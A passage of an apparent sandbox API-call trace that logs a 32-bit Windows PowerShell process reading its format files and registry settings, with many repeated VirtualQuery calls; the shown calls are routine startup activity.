"c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2bfa648 | out: lpFileInformation=0x2bfa648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0057.447] GetLastError () returned 0x0 [0057.447] SetErrorMode (uMode=0x1) returned 0x1 [0057.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0057.447] GetLastError () returned 0x0 [0057.447] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e528 | out: phkResult=0x25e528*=0x360) returned 0x0 [0057.447] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e570, lpData=0x0, lpcbData=0x25e56c*=0x0 | out: lpType=0x25e570*=0x1, lpData=0x0, lpcbData=0x25e56c*=0x56) returned 0x0 [0057.448] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e570, lpData=0x391da8, lpcbData=0x25e56c*=0x56 | out: lpType=0x25e570*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e56c*=0x56) returned 0x0 [0057.448] RegCloseKey (hKey=0x360) returned 0x0 [0057.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0057.448] GetLastError () returned 0x0 [0057.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e064, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0057.448] GetLastError () returned 0x0 [0057.615] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.624] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.626] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.627] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.627] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.627] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.628] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.630] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.645] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.645] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.646] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.646] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.646] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.646] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.647] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.647] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.653] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.661] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.662] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.663] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.663] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.664] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.665] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.665] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.665] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.666] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.666] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.666] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.666] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.666] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.668] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.671] VirtualQuery (in: lpAddress=0x25d468, lpBuffer=0x25e468, dwLength=0x1c | out: lpBuffer=0x25e468*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.672] VirtualQuery (in: lpAddress=0x25d468, lpBuffer=0x25e468, dwLength=0x1c | out: lpBuffer=0x25e468*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.672] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.672] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.697] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.697] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.698] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.698] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.698] GetLastError () returned 0xcb [0057.700] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.705] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.705] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.705] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.706] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.707] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.707] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.710] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.712] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.720] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e5ec | out: phkResult=0x25e5ec*=0x35c) returned 0x0 [0057.720] RegQueryValueExW (in: hKey=0x35c, lpValueName="path", lpReserved=0x0, lpType=0x25e654, lpData=0x0, lpcbData=0x25e650*=0x0 | out: lpType=0x25e654*=0x1, lpData=0x0, lpcbData=0x25e650*=0x74) returned 0x0 [0057.720] RegQueryValueExW (in: hKey=0x35c, lpValueName="path", lpReserved=0x0, lpType=0x25e634, lpData=0x0, lpcbData=0x25e630*=0x0 | out: lpType=0x25e634*=0x1, lpData=0x0, lpcbData=0x25e630*=0x74) returned 0x0 [0057.721] RegQueryValueExW (in: hKey=0x35c, lpValueName="path", lpReserved=0x0, lpType=0x25e634, lpData=0x391da8, lpcbData=0x25e630*=0x74 | out: lpType=0x25e634*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x25e630*=0x74) returned 0x0 [0057.721] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x25e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0057.721] GetLastError () returned 0xcb [0057.721] SetErrorMode (uMode=0x1) returned 0x1 [0057.721] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x25e634 | out: lpFileInformation=0x25e634*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0057.721] GetLastError () returned 0xcb [0057.721] SetErrorMode (uMode=0x1) returned 0x1 [0057.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.724] GetLastError () returned 0xcb [0057.724] SetErrorMode (uMode=0x1) returned 0x1 [0057.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0057.725] GetLastError () returned 0xcb [0057.725] SetErrorMode (uMode=0x1) returned 0x1 [0057.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0057.725] GetLastError () returned 0xcb [0057.725] SetErrorMode (uMode=0x1) returned 0x1 [0057.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0057.726] GetLastError () returned 0xcb [0057.726] SetErrorMode (uMode=0x1) returned 0x1 [0057.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.726] GetLastError () returned 0xcb [0057.726] SetErrorMode (uMode=0x1) returned 0x1 [0057.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0057.727] GetLastError () returned 0xcb [0057.727] SetErrorMode (uMode=0x1) returned 0x1 [0057.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.727] GetLastError () returned 0xcb [0057.727] SetErrorMode (uMode=0x1) returned 0x1 [0057.727] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0057.727] GetLastError () returned 0xcb [0057.727] SetErrorMode (uMode=0x1) returned 0x1 [0057.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0057.727] GetLastError () returned 0xcb [0057.727] SetErrorMode (uMode=0x1) returned 0x1 [0057.727] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0057.728] GetLastError () returned 0xcb [0057.728] SetErrorMode (uMode=0x1) returned 0x1 [0057.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0057.728] GetLastError () returned 0xcb [0057.728] SetErrorMode (uMode=0x1) returned 0x1 [0057.728] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0057.728] GetLastError () returned 0xcb [0057.728] SetErrorMode (uMode=0x1) returned 0x1 [0057.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0057.728] GetLastError () returned 0xcb [0057.728] SetErrorMode (uMode=0x1) returned 0x1 [0057.728] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0057.728] GetLastError () returned 0xcb [0057.728] SetErrorMode (uMode=0x1) returned 0x1 [0057.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0057.728] GetLastError () returned 0xcb [0057.728] SetErrorMode (uMode=0x1) returned 0x1 [0057.728] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0057.729] GetLastError () returned 0xcb [0057.729] SetErrorMode (uMode=0x1) returned 0x1 [0057.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0057.729] GetLastError () returned 0xcb 